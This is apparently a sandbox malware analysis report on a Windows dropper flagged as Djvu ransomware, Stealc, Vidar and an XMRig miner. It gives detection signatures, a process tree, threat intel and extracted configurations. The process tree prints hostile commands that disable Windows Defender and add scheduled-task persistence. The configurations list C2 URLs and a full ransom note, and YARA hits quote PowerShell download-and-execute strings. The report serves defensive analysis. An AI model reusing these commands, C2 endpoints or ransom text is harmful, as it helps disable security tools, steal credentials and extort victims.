Edit tour

Windows Analysis Report
gHPYUEh253.exe

Overview

General Information

Sample name:	gHPYUEh253.exe renamed because original name is a hash value
Original sample name:	15564517054045e4735b8c627d7f5c0d.exe
Analysis ID:	1501576
MD5:	15564517054045e4735b8c627d7f5c0d
SHA1:	feb10e43a661ecaeb4da1c8b37f54ae93d90e315
SHA256:	e0d537f8669e6764bf4a4b8f4013ec219958749a5fde8b11fb52faaedde3cada
Tags:	exeStop
Infos:

Detection

Djvu, Neoreklami, Stealc, Vidar, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Djvu Ransomware

Yara detected Neoreklami

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

Yara detected Xmrig cryptocurrency miner

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to register a low level keyboard hook

Creates files in the recycle bin to hide itself

Drops PE files to the document folder of the user

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies Group Policy settings

Modifies Windows Defender protection settings

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Sample uses process hollowing technique

Searches for specific processes (likely to inject)

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Suspicious powershell command line found

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Deletes files inside the Windows folder

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Suspicious desktop.ini Action

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Uses the system / local time for branch decision (may execute only at specific dates)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

gHPYUEh253.exe (PID: 7556 cmdline: "C:\Users\user\Desktop\gHPYUEh253.exe" MD5: 15564517054045E4735B8C627D7F5C0D)

E7ZgIS5gIvcD0qYA4MsN8rsr.exe (PID: 7788 cmdline: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe MD5: 70567FAE269796BF407322D0A4435054)

conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 8008 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

3rS3zgtrHYzvSBWEegYZ8AEZ.exe (PID: 7796 cmdline: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe MD5: 7FEE72EA1DD13C340355BAA7FE9C574A)

conhost.exe (PID: 7812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7964 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

ZsQxSfwnc3ehFR9PxEV79BAM.exe (PID: 7820 cmdline: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe MD5: 025EBE0A476FE1A27749E6DA0EEA724F)

iyhiDENXt_q0EUrAsx1Gpb4x.exe (PID: 7836 cmdline: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe MD5: 298D76769C9380C435FD4E43AC256E55)

Install.exe (PID: 8088 cmdline: .\Install.exe MD5: 50EFAD4341D7F65C2E7AB8205A49FDB2)

Install.exe (PID: 8120 cmdline: .\Install.exe /GKndidLyIt "525403" /S MD5: 7D00023CEEF9EF54D0F55A3F84BA4A15)

cmd.exe (PID: 2596 cmdline: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

forfiles.exe (PID: 7352 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 4124 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 4828 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 4144 cmdline: forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 8 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 5888 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 4948 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 4908 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 5480 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 3228 cmdline: forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 2084 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 7808 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 7848 cmdline: forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 7884 cmdline: /C powershell start-process -WindowStyle Hidden gpupdate.exe /force MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 7856 cmdline: powershell start-process -WindowStyle Hidden gpupdate.exe /force MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

gpupdate.exe (PID: 7572 cmdline: "C:\Windows\system32\gpupdate.exe" /force MD5: 6DC3720EA74B49C8ED64ACA3E0162AC8)

conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

forfiles.exe (PID: 3612 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m ping.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True" MD5: D95C443851F70F77427B3183B1619DD3)

conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7288 cmdline: /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 5804 cmdline: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WMIC.exe (PID: 5868 cmdline: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: E2DE6500DE1148C7F6027AD50AC8B891)

schtasks.exe (PID: 7792 cmdline: schtasks /CREATE /TN "bGRMUcRlXIkCKIeoVz" /SC once /ST 00:18:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe\" u3 /hggdidOLc 525403 /S" /V1 /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ZwL0OipB1WfKucHfLydAfltr.exe (PID: 7868 cmdline: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe MD5: F8AFAFBA3E86D50AD9EDCE1D0EA179AB)

cmd.exe (PID: 2720 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 6024 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 7740 cmdline: 7z.exe e file.zip -p151921358818216190771159712614 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7664 cmdline: 7z.exe e extracted/file_9.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7628 cmdline: 7z.exe e extracted/file_8.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

Conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

7z.exe (PID: 8148 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 2828 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5264 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7916 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

8G7TUoanzGVBa0kCulY_TPPa.exe (PID: 7860 cmdline: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe MD5: 006EDF0AC466164DDC9E0AC56474FE0A)

oOMgVil3z78TF92yUiI1jBjJ.exe (PID: 7876 cmdline: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe MD5: 89F3026DEA32A83CC17B59F7590D9467)

RegAsm.exe (PID: 8188 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Install.exe (PID: 7308 cmdline: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe u3 /hggdidOLc 525403 /S MD5: 7D00023CEEF9EF54D0F55A3F84BA4A15)

cmd.exe (PID: 2476 cmdline: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

forfiles.exe (PID: 3264 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 5012 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 7364 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: StealC

{"C2 url": "http://193.176.190.41/2fa883eebd632382.php"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199761128941"], "Botnet": "1f3c236c672ff2ffe017b396f834c66e"}

Threatname: Djvu

{"Download URLs": [""], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/abe121434ad837dd5bdd03878a14485820240531135509/34284d\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0874PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsZOJbLC8rdQ3RNFdWJ9l\\\\nsRHwDxjXZCN4K9IEo3ccj2X7KVzvLXJ\\/I+jMWoFDgbTA5TMMDPMhlSykGYr1rbX9\\\\ntDxs5EL7FC3R6jbLzQ+QVdvG2Slvd1aEiSAhkrB6Z97DC28ixTGkA4aCQKKFT5ge\\\\nSXPpDStS2N3zeiWPCMkOs9RErtxVW9sXoWRAFtBg2kSHTyKEWcRqnxplrJGdVQKU\\\\n0DxDnHDefnxaf\\/3VSRczBwGZlq\\/Mr2bfHM2Mf8JWmYztlmGbjGb\\/\\/oixuuRePxzt\\\\n6xgozgVrC64HnagNFyODdlk2w\\/BpJWXIbgivZ0kR40Ll3NEAl3Z26cIkIc6pAJ3s\\\\nfwIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.2730669215.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.2372338745.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.2673006786.0000000000733000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x1e220:$s1: JohnDoe 0x2b658:$s1: JohnDoe 0x1e228:$s2: HAL9TH
0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: E7ZgIS5gIvcD0qYA4MsN8rsr.exe PID: 7788	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: E7ZgIS5gIvcD0qYA4MsN8rsr.exe PID: 7788	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: E7ZgIS5gIvcD0qYA4MsN8rsr.exe PID: 7788	Molerats_Jul17_Sample_5	Detects Molerats sample - July 2017	Florian Roth	0xba29:$x1: powershell.exe -nop -c "iex 0xba50:$a1: Net.WebClient).DownloadString 0xbf51:$a1: Net.WebClient).DownloadString
Process Memory Space: 3rS3zgtrHYzvSBWEegYZ8AEZ.exe PID: 7796	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8G7TUoanzGVBa0kCulY_TPPa.exe PID: 7860	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 8G7TUoanzGVBa0kCulY_TPPa.exe PID: 7860	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4c8ba:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: oOMgVil3z78TF92yUiI1jBjJ.exe PID: 7876	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
